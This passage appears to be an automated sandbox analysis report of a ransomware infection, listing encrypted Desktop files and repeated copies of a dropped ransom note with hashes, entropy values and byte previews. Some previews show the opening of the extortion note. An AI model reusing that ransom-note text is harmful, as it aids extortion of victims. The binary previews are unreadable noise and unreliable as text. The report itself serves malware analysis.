...@n.4.;..v!.2l..F^...q....p...;..j...E..:.b.(@.qQ..QS.....V....O=.SF...gX....\.uNi.....(...f[y.iJ.,..G...w].....i..~#
                        C:\Users\user\Desktop\IZMFBFKMEB\FAAGWHBVUU.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.845142998311012
                        Encrypted:false
                        SSDEEP:24:XdpO+FyVH5jBl1TxMAXS2OEVbh6P2rT43TCWnKus0xjGel2Juutr7X:XK+I5NVTxtrr6P2rKRnKYjGe0v7X
                        MD5:61269757FA0D873D6CC67E9217176276
                        SHA1:2C783412649BA2BC612FA9E0BD17090BC4091214
                        SHA-256:81ED1BD17DD210CFAF2F146BDE02074071C7B6D2384D4F3B673A3100AD5C76EC
                        SHA-512:F1628E877985A910F44B7A8B09A2B1BF003AF072C8B2252CC0915F27F388F117FB7227373032FE1CA8D489E1BE42DF8BBCEA0B8398B78D04A9AEE24EF6C67BD5
                        Malicious:false
                        Preview: ...{=..f....JL..\. ............El3..w._..J2l.-..,efC..Q_H..O+)Q..<p..G.I..n..7..b.)!...m]..\.<.h.&..%.s.P.....i...w..r.rg..l3..M".Z\..n8...{v....rz....eG.x..O."VB.M*.Z<....t..!EW.8.h.m..b....A...T.KpP....d...$.b1.>.9,Qw.0...LI.....[....h]j(.....`..m.7...#"....L..H.....Pd)+.K&=.|p..y.Q .....f[..........p........t..T.T.RR....gT."h&.Ix....M8.....y..*Y;V..W.....h.Q[..=..........0.u..@.l[..K....^..[7;..O....B.k.].n.W.S5.g....9.......h....s..........N........#p..|.wQ.1 ....RV.fk.....EEB5..l.j.2.~..t.CH....%j'W..N.Bq.g.6.oJ!..]M.y.O.:.^...T8...7....U..._..>.?...E.ZU..k.... ....K'..>.w4..%.2.D..]...u,.M...|.~.....;...[..\..""..S ..n1..7..(p.ZJ...[..+f|..y>.........:*....9....... ....K<.&.S\.aI._w...o...^.47x.{..V.Z.v..U........Q..L.K.n...u....p.l..T:.H...;.He`.G.e.G...H......L.BS.H...\~.........:.-.....[...I.m..hR.....=...f=7...Y...X;.@7.....L....&#/.\aravEz...CE}wk..|`.....I..N....9..O..H...Ig.\....G[].m.4..).F=..S..v.......S...n......4TS..
                        C:\Users\user\Desktop\IZMFBFKMEB\GNLQNHOLWB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.819386921804163
                        Encrypted:false
                        SSDEEP:24:PQBGwrZn/QTIFrB0tHmb79ibiuDFVqvz6tSVuB7/LiQgDPuutrG/mnZn:0VYs5Ys7ANq7oNDiQgdG/QZn
                        MD5:E98F1EF3B152A37363641C8695B4CB54
                        SHA1:59C0CF542FCAB87D49D8E6420742BD758A49B01A
                        SHA-256:227D0F69735D37FB5A432B8D35FB0C198AA0CD33BC267E862DBD15687D1519ED
                        SHA-512:1F058CF228B9CE75E0CAEE5A9125C022243DA7FF53B7E56DBF1410B6ADBA6BE538AE3D32950007602545D24EBB6C455218707BB253202DAF9DA7E1C79BA3157C
                        Malicious:true
                        Preview: r;.{w......`..c.6.E...I....~^........$R..-.......L....3.....R@.Z..T..7=...YWm......ku......C....v...;.....e^..3(.cE...(..Y........2..)#.o.N.t....-.!q...VP.........}{L......J..:..\.\.z.my..W.I?* .p.@.`.^.k=g.....\..R. ..;.._..-.....Y..9.o.xY.Q&.(%V.....<.!..W.....]..&.Q.ge.].C..t/H.._...;..<..wT..E.X..E..R$.e...r.Xs..L. D..,~.v...~.....tq.~.x^J.6.Y.s=f..G>.......'....p~.......kU..2......X0..X.C0X9...d.s.....!..fj.{+.'Z/...E..H.....W:'....:..&..z+@.t.z...7u..>`.y.0..../.P.l.GF ..{H.............w.....g..~.Am......".D..t.a....=..M.Xh.Qt.:Y.F.*$..&Y....J.*.2....f....t....B.QE..N&..."S.....&......=..U..y;.<.h..or.pJxA?......y.. .j..<..Q.........t..o..2Q....;~..#.Z....0..8.'..........r.@.O.]|...$./.r.T..k!.#.....)..s.|.2....2.....f#@.s.n.WV...."pp..yM.`.S.....".../!V.....<...z.%..%....1.$...#.......bv.cH.u./...t.........[.9&..a...,...C..".u...='q.{h..I..;..Oo2..n7z3.u.c.Y..w.].=;...p+. ..y. .yi....P..\]@.?\xm.L.a..-a.E.......p.g.[.<
                        C:\Users\user\Desktop\IZMFBFKMEB\IZMFBFKMEB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.835791913758512
                        Encrypted:false
                        SSDEEP:24:IQk7tkTl3PJKgVm+KPqv1/pIDlFtAg8HFszzPmMuutrOQY:IQkZkTl3+NqvfIRfXeFS6uOQY
                        MD5:36EC31A6130D71A7B5289F58E9F1CB27
                        SHA1:0BA4C0B05A43C173A18917A7F252D7FB4E6F4252
                        SHA-256:D1520B650624E27B6B555B04B9718C4A247A533F0410A4DEE53E68218449F37A
                        SHA-512:66D4229F50B88FA860344EAD197F8AAAA020168DCB93E0550884784BBD09D513DF3098AC0E9D2CF7D3417257A6D22AB377232FEB8527872E312CDB95D673E8EA
                        Malicious:true
                        Preview: .fzJi..lW.7.s....a..,....{.&.......,1rSL.wJH..........xr-.....$..7..w!.m..O......Jeu..[.}...y..>........m{.b.......3.%QY.1.........Z.j._.#...w._..?..@r..d....ws\L._|............!....i..`"'........\.GK=2....k...[$....T.....)...'.%.1.l....;.*...?......;.HE...Q:...)sD.........dGB.KcfF8..f.Yf..7..+..`..h.zhW...8...3.HY..1.._.A.L...$.Z...d|>.....4.dn..E.2..8.+...?N..]..[(.'p..$....2.e."..w..2.)..-IM.......2..'.... ..T..s.U'.}.v>.'p.I..h.s.J.V.....\....;..>.^...FS<.......B.+..NUcq....qa.>..'.M.....gS..._.?...,..Y8..'...B....... i..WG..X(..;..zw.....B.+T..O-.GQ7].......*0.@c.......,.J.z.3E.Sb..;.a&\bY$9k....9.....TJ.d...!d...|h.U..f.;.j.Gd..+'..o"p...k.`...B..N.....B.+x..nc.s."...[..q0.W...So."..9\...0u.Q..oT...~!....D.KO.:d........*.[.........U...3d..X _j.Q..K..".g.^>.v....H..J.!R..V\'...P.h>.x...j..X.. n....2....].N....C....]e..G*..J..U..S.T...d.[.q.VF..S.5..O./...9#^m.fj....z2V-L..,1.^..&t........O..fk.,..K....W<Z|rj.............a..L..[.=.m..
                        C:\Users\user\Desktop\IZMFBFKMEB\UBVUNTSCZJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8476212145753665
                        Encrypted:false
                        SSDEEP:24:EgNIqM+oXTvL01G2lsYIquIOCCRahFGlNs78hDi06UBrbCVf8IL5HwyuutrU/qYA:VlMRU1GM3IquINCRahFGlo8EfUB/C64b
                        MD5:42A06C67EDF48C5B1711587594607F49
                        SHA1:FBFB81114F93A0912B622248004B09E85E5817DF
                        SHA-256:53948F3A851C502012572CEC74BC5274920653D067DC101A0EC6D59A99C699CE
                        SHA-512:28D1A8BD6FA2E4974C123769C750575228487E51C4CFCBFB5A7CABEA9993D96CC8996055CF2E8DCF168E3B91E6EFB42BA6EA65EA98171E6C76D2D52074E25195
                        Malicious:false
                        Preview: ..........I...".6m...(r.l1e..I.%..1...L.I.8........z..*<L.G.Q...klj..Y.K...g.w..~@..q.......A.. iYd_.#..p.~...n..ED.P.%....U.....,o"..w..}..O..>h......z..P....0.A...>).p._q0Z.ia.r.7...Y.m...!.WB<.Q.+:^\...1......e.Xo5*Tv..lK.o~.......Z.8..&.#.I...~..;.\...U.#E&.....e.<..V.9.%.K@n.DU%....!......$....{...F%..".Gf........K$.-......XM.B..$..D.J..z.VB.o......~....o.x....)8.jM...)Khg=...l.z2n'Y.D...d...qqJ......@.D.M.%qC.......Jc......FbP...O...nB=*|...........t.T9q......[.....2...C^. ...bf.D.......<...Z^...9...... ...x...P8.q.f......N.@....r.....Gd...KU*.g..0....]....P.S8Ed9...)/.;..w..J.Z...N?*D..m..>.P}.......R.7.@ wZ.....[..g..!..rP...-..;..;..j.~.....;.KtF...Q....Ly..*.4nz=.+`.....Y.v......s.1QJ.uXXt-..n&`i.@.._a..9.%......k....E`...g.ZN..I...L........8..R.2B.....z.....;...y........qG.ec........B.&yp.d..H.T..4.U...J_......;$.\{.z]0.LR.."..H...<..I..n.".j...L.a.7....+|...D?zL.(....:>b....C....h.....}7.U..r......O....R.-,..X...=/.<V
                        C:\Users\user\Desktop\IZMFBFKMEB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\KBIFTJWHNZ.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.833053406107276
                        Encrypted:false
                        SSDEEP:24:lOqGrSt8qayYI19NT6mc6TtfpJeRAy9Hp6uutrReZiW0:oTQ9NTxc6TtRJeRb6EZZ0
                        MD5:D7D7AE1F7032BE0030F61CEEE5251D2D
                        SHA1:C88B7A4AFC24C48193BE15283515E4AA3459F953
                        SHA-256:C2F9479C8C4A92AB57AA72B2DB4FE5EE98E03A0A0C058E91B383128D709E7B1A
                        SHA-512:F04E3CCA1F77F06ED9E73B286DC17FBB0FDB5A2354DFE7D8EE565C7D6366F477EE872D66D9EF76BFD638107B25457A89C8E5E26880412FEA7439257F1CBDE152
                        Malicious:false
                        Preview: ...I......]..F.~x,......+F.'.x.L..w".lK......d....P...]..3....2.D.G...rz%..-...*....Y8$h..!?..B@.......W......7..)...:.C?......i....H.):L$....n/Z.}*ll.+..?O6..j.iZ...M._o....Id......K......?.j\d......y.nV....._....RE=...>.".#|...~.x.....;......4W..k9..%v../.5.#..N..F].BS......9.......F....X....).....T.G.......6Lo.m.7...X.. y.....J.V....]....n....B.*`.S/|.....Nr.gM,+..B=Z.Qx..(.+..^v"....l...F.Z._..?Jf....X.....E.~.G?..G.~..7f.. ..........~&@bT.......-..N..Xye~...?f....Etz...2.v:.o.....U.o..j.Ie)..W.........2....2.ea.56..S.>.G$...9..h.LX.K_.z.`.......(.?.C....=.psI}L*v.....7..B'Ep...0.4R..V...Qz...~....I......#..{bjC.......S...K..K...]-f..>..@.~.E.b.D.....r....$.d.!....o...w.[.......N......S...mrhv...PNT...Qa.G0.G...5..9..W....5..8.{H6b[..4.~..".......`7}..fs.z...{...c..}..T.w.=..R.....1..y.?....;.?u....cQ..u..oh1<.C..Wo..wT...ZUf.>.T..YFB......[.j[..tw.l.t$.z..aN...-........w.".j....h)....C..),%...7$JYJ.N.<xm..#....]..o.8q..&.E.
                        C:\Users\user\Desktop\KBIFTJWHNZ\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\OVWVVIANZH.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8479010740826824
                        Encrypted:false
                        SSDEEP:24:TYFw3aPaMT4bdDN6VGBPF/xcAUHvtMtd4bljRjJm05df0NTcwTPMDxvuutr55O:TY2aXsbdDIAZUHvqLGb1H0NlTGxJ55O
                        MD5:642605EBF770A2E90BCB9F44FF1DD75A
                        SHA1:C3F71CF48EEDA0A994AC6B402B078FA000FAEBF5
                        SHA-256:ABAA9961E0D4341652F82D982C65A9536F8E0C717E891F41BE366B8B2788E95F
                        SHA-512:899C43BEF09D1C0539CE530F63EB9AEF6CFEC28D709156976444B6C6A38807FB3C76A2917D391140B5A18D0D40606249AEDFF01CFC4710B93F3B3236D8E94CE7
                        Malicious:false
                        Preview: 5...L.l......X.. .....<.Q..a.s..w'.. .t.?...YF..M!....1...(.x...OA.NK.j..?.........D.:T.tt.q....3....#2r/.r*.....\.S(..-}.....}4..L'%B}.^)..{K...{6jJ.a_..ZP...V..y...|...F.L......Fr...u.)O..}.\?C.....Hp.....k..T....&...V.F.aa.....E.k#.$Uy.&#7(p..8....gB.C....r..I.r...v<.......agW........J.........d........-yqk..l5*../....W\.K....ub.K.T.d.ghk..;.........M.....w... ..B.@^....l].wM^.".e2.g...c..`?-.%M.q..^;...!.Vj..."@...{...B.6.(...w.....).......I.....P....%q.Af.nId...-..$X&>......Rr..e.[.....Y2.v.@.f.......].5L.~\.............!.8.m/....'Z..E......(...f....5.a]|......oy.>.l.#.#.Fn.-.f}d.#..Q1..itgX..}...........z.}.....,r ....>>3.4*....D"~..9..I8.!Y.M}...Wg..x.}.w.w_=.V.s.."-I .p$...U....I_.6._....5Nd......V....Ho...:Ut.....Q..le.....%.._.9,2H...o[.4n.......0s...8.8...O...x...O.\..h.=.S.{....r~.|4.H..n.`..p.5. ..3l...........B)3m@.0,......h.Q8.'9^>.....8. ..~..U.a....My.k9.R.V},{.s...F.."..:u,..[.$.g*...)>.HZ...........7.0...\U.-.@
                        C:\Users\user\Desktop\UBVUNTSCZJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.863609341529593
                        Encrypted:false
                        SSDEEP:24:hdGzVkOxJltR9gEMILYkCVvAtLDvaw90Kuutrey:qzVkKtb6CYkCV45LaMd
                        MD5:5CA8188DA26309B359E176E5DBD5D82B
                        SHA1:1DCB4F29A89FD5BC25EA1F612A42069CC1426026
                        SHA-256:D4491002DF774E9C2D95B14B8CC1186F7144B7D0E8CDA51E50837F0384658B1D
                        SHA-512:00D7966C1D87BE4E04C57EF9C1829078BDD3BF7CF2C437BBFB2F0E67CFA8A64DCD6755F3AA2CDCDDB1F17CE1A8740B4CB50A6B1DF84A104A08D6500F2C6B4994
                        Malicious:false
                        Preview: I).....K...w.j..rY..K.......^Y..5Ka..kR!..a.n3%.'.q....9K....uj:Xz...b.St.%.;.)...^..5..L.k..S.. .o!.q...J.]S.dJ....d..g?..d.*A7.!v......~b.W.......6....qt.q.(Q..+.I1..O.S..y..\.z>.O.k...Y.cb.'p3.....`[.i.n..[s.....3.t#..........B.....c..,..."...........H.F..@j....p-L.v..s....W........5..t.tl.")p.V.n.Mb....0.....z\,....=.._..F,yo...i6......tG....(..z....<..S..Vj...$Kc..<....h..l.MrMt..`.............z..@.r)./....nC3..*!..h=.v.$ZM.y+....&....^..w.....QzJ..6.'..._..=T..#....e..P.BX.<.VF-..<k........ex.d..r..VS...........l.....8m9...r.v.H....W.|`N".T.g>..r.f....h........M...w.q.F..{h.4#'....k...f_...&.d....+....1.{..v.P/M-]...4.....I...>...|...KI}..........|.|u.6o.y..c...6....;..`..Lu+..,...8...6x...t..Yx.8...b.M..Z..._...r.Z:~.. .B....j5=.......]d.gT%.......F..).\..9.C1.....o.,Di..QLsa..z.|KN...n6[X-$._..m......D..Q...a..B......4..S*=..#Z.-.e.q....2....A..C.u....*...03..W.@+\.7~81.....l.i.....?..,*...b.hj.V.r.E...=1..2?.._....v.!.e.wp..\.
                        C:\Users\user\Desktop\WDBWCPEFJW.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.865626602356193
                        Encrypted:false
                        SSDEEP:24:9snZd1zSb4/pJ4hD1waG4Ff5MCO++8GsTIfc6gFZuutrCw:yZbSbCO1j5FfaCO++8Gjg5F
                        MD5:865BD5BE774C3F9167D81DD070DF7A78
                        SHA1:9AE3E054D6BE6E78DD230B61D0958BCEADFA75F0
                        SHA-256:0208C453B667C27993EE15E4A342CCB160612CAD38A50B77573FC146A0E07A74
                        SHA-512:BD0D47D90D16530A54E00CC91BD99A69007EC47CF6E44BF1A7307C085BCB29827A8CBD514E97FC37C1DAE972496BC58D84F587667485697A5A017BE8C90D6F51
                        Malicious:false
                        Preview: ....f..7C.e....i}.c9..%.....|Cn.q93.!$............xS.|W.p#.2^}..-#.!H...X......!.7).N.w....c..........O.q...h.......C&.Z+5i..qZ.n..Xf..V........p.9......$L>...d....C..o....;.GW.to...m5+..$...Er.....V...O..5..4_e.L....4..R...'<.qj.>5L..Hi.)....H.W*.......@.,.-..6d.......<..!@@P....'.m^..Y.M~..f._q.$........v.j.8..Qx..%}.j;/...L*..B1_....:).b./QR}.PC.,...FsT..#..P....@....j.?...]i6.-L.q..=.[...:y...{.&.r..e. .Yl-...K.1 }@...DG..gN.L.7\.|`vY_.n..o.[*.Cp~.#..H..6.v...".4X.U....-.n...{.....[...){...3!.f..D.W..K*+?EI....w._K.#V!G......$W."N..g...sU.....b#.n.-.. ....)..z.%^.wa.Y.k...z]x...j......i....Z.9.?....Zc.W....#m5..u.IFC....J....c..{]..s..?P..rv....z,%)X..*.M..XB.Y1.".,.xS..]M.8..0..R).4.O..Hs....4.!,...F...bB.....P...r).c.j..*.....N.t..[.R.3...[a.**.>..#..@5. i..V.H.l}S....m.O(........'.X.!.RL......l U.X..c,...!Jp=Q..D]..<n.)."...."....B../P.....q.Y.\D...o..BY.wx....z.U.e....$....*..N....S.R(.I..=...b....Aj.w..u@..Q9.'k..............r..9rP}.n
                        C:\Users\user\Desktop\WDBWCPEFJW.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8212195685564785
                        Encrypted:false
                        SSDEEP:24:ZstxAmLgTEPSdKoIP35IrYTb5d3/cCkAcZZuutrRCWD:KmCv5mK5d3/zkLdRLD
                        MD5:18B92A24BA90699303D1BC6B7F89C485
                        SHA1:2EA1BB2DDC90C2353D259620A29D0E14D5A61FC3
                        SHA-256:1A752C4C1A6976D3A99F3CCF5629B6AFAAE5DE8CD95DBFEF60AFFB3299A993FE
                        SHA-512:9301E8DCE377736AE418D55913CED9D0835C2A402C2C9477F522318A770EF0B07DEFDB3606CC5C75E057BBCDC7D19A6D389A0F82CFA80B9231355C85A5D9F5D6
                        Malicious:false
                        Preview: .4`..34..eQC......I..s~....sf.Fz..A.e!.pP.;.h..k.....o......2.~.2....V....S=3~@/.@.{.Ow..T..mr..X....0i...x=..1..s.`...Q9.p....D.0.`R....y....n..[.)Om.-...,..\.2...>wi..A...\......"B..o' c.d...>.w......nd..CI8my.....?.^n(..".,c.......R......./.....N9$".B..LI'...&.a....S..!...$U...u..m..cY.6.........hj...z..C.>$...r)..{.e.A0f....!.%H.c.P..n.f.h.JL.$.....;e...%..."$9...T......q$....1...}C.2....*..Y....u.....?.yd..0.Bn(.....d.&...xo..H.d>.ery....y.K....k.j.i.z.s..;.#Vv.C..h"...;....>..{....X{...j..EL.......I...}.....#;.......r...e.'.......Z.J....L.jY%..A.:h..)..g.S...V.S...Q.Uf./....].M..z.......PE.5.......&~..xR.....KV<.{K.z}fz.@6.K.......Q;3.3~.%068..;.TV...)`4=.E..../.).a..#.GRu...{A......h..aK]........9...z.r.Km..a...%=.E........e..8~.....W.a...k..`.1.....w..5".[_D`....*L...g.M.}..Up.]..#3o..fh.{..W.. ..+..YF.,.W..?>~",.L%.WFp*."F.0:.J...T....&.V.x.`..4...<..\.......16..>.E2.X..........7Y.b0.K.8..............[....r.S.6....v....
                        C:\Users\user\Desktop\WDBWCPEFJW.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.855734756369388
                        Encrypted:false
                        SSDEEP:24:QGLFlbvQRjmomXX7ulSu10st7xWhpTPIbXHmhUJJGjiFZuutrrD5:TFljE4alSumw7UhpjQHmh+ei5B
                        MD5:4AD8457498E7BF01995617F6B3BDF654
                        SHA1:40EAEEA55781D358E8FA1792A0F2FF7F45038FC1
                        SHA-256:354B0571FFA30B9FA20FAA67C05FD379C581BF6003ABD8032DF86958CD6F3F5F
                        SHA-512:2537F7066DF89938D0D758286BC3BD9F4EC7B9C43F4C15305CA2136DC9FEC9A56F97D8ACECD1A665728A2D5A44B2CFF57A936D0FEA29C91F16EF9ABCB4B20345
                        Malicious:false
                        Preview: .<ZEdh.P@.....$..p8 ..O........'....8.........y..7=..f..d.Xp...X..e..(X.uO.e.....'.r.Yl.....`.....j..J`....k.M7.....3.$.6"0.7..1.U5......F.f..9..B*iy...{/.....U..."...z.].D....+7.........D...32n.T~r(....J........].{...H0yS.:.....ks*FK..K.......e..............9mO<.V..k..V.!........P._../.=....UN.......5....&`.@.G...#.P...#..t.U.t..)X.....2.`...e.....\.....29WY..YF.U.7.6.M..XQ....X.....g.j...dv.I.%.u...W.=-c......jh....@.~.../.....#.........9R.Z.\..[......4.^..+Wu$.XI..)..."..L.hj`...Yy^d..'.j..n...C..w.g...,J.A.B...D9.b._a.9.z.y.,.^"....6.u..+.......+.n"69.#.....=..)0".AmWn..[z...[......2-...Y...%.SIS,;<G..|I..L..t;.."...!.u.pC..?k....(z..$...,b....}.;V.{......x{..p.$..J}..zmT..i.~..S.Y...b...c...P...g...)4...djI.4..#'j.......:....#. .-i..WNo..d".. qJ..b......G.s..%..)B..'[... .L../.....$...k..*ei....b..n.......{>.7r1.,BnZ.7.4..%..o!.z..A.R..0U~LU..b.u..2)...Gd...........T!....z...f[..<c,......1>..n...!..@a..&%.6..E.....hb..^..6..i...
                        C:\Users\user\Desktop\WHZAGPPPLA\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\ZUYYDJDFVF\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
